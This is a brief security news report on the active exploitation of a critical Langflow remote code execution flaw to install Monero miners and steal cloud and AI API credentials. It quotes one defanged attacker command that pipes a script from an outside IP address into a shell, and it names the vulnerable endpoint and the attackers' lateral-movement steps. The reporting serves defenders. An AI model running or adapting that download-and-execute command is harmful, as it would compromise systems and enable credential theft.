Langflow RCE exploited for cryptominers within hours of disclosure
Attackers began actively exploiting CVE-2026-33017, a critical unauthenticated remote code execution flaw in Langflow, within 20 hours of its public disclosure on March 17, 2026, deploying Monero cryptominers and systematically exfiltrating cloud credentials from exposed AI servers SecPod.
The vulnerability, assigned a CVSS v3.1 severity score of 9.8 (Critical), allows unauthenticated attackers to inject arbitrary Python scripts via the `/api/v1/build_public_tmp` endpoint with zero sandboxing protections NIST. Langflow versions 1.8.2 and earlier remain vulnerable; the flaw was patched in version 1.9.0 released in March 2026.
Primary Malware Campaign: Cryptomining and Lateral Movement
While attackers deployed the exploit for multiple objectives, the primary observed payload was a Monero cryptocurrency miner, not credential scanning alone. The malware executes a shell script (`curl hxxp[://]83[.]142[.]209[.]214:8080/isp.sh | sh`) that downloads and installs the XMR miner, then disables security tools and spreads laterally over SSH to compromise additional machines Trend Micro.
As a secondary objective, attackers systematically exfiltrated API credentials and database connection strings, including keys for OpenAI, Anthropic, and AWS services, enabling further compromise of cloud infrastructure and downstream AI services Cloud Security Alliance.
Regulatory Action and Timeline Correction
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) designated CVE-2026-33017 as a known exploited vulnerability on March 25, 2026, adding it to its official Known Exploited Vulnerabilities (KEV) catalog with a federal remediation deadline of April 8, 2026. This action obligated federal agencies and critical infrastructure operators to patch affected systems within the statutory window.
The exploitation campaign timeline differs significantly from initial reports: active exploitation began within 20 hours of the March 17 advisory (approximately March 18, 2026), not March 27 as previously claimed. This rapid weaponization occurred before public proof-of-concept exploits were released, indicating organized threat actors had pre-staged attack infrastructure.
Impact and Remediation Status
The flaw affects all Langflow deployments running versions 1.8.2 and earlier. Organizations running Langflow in production environments—particularly those exposing the framework to untrusted networks—faced immediate risk of complete system compromise. The patch released in v1.9.0 removes the vulnerable endpoint and introduces input validation, though remediation remains incomplete across the user base as of mid-2026.
No official disclosure of victim counts or financial damage has been published, but the combination of cryptomining revenue streams and credential exfiltration suggests attackers gained persistent, profitable access to multiple AI infrastructure targets.
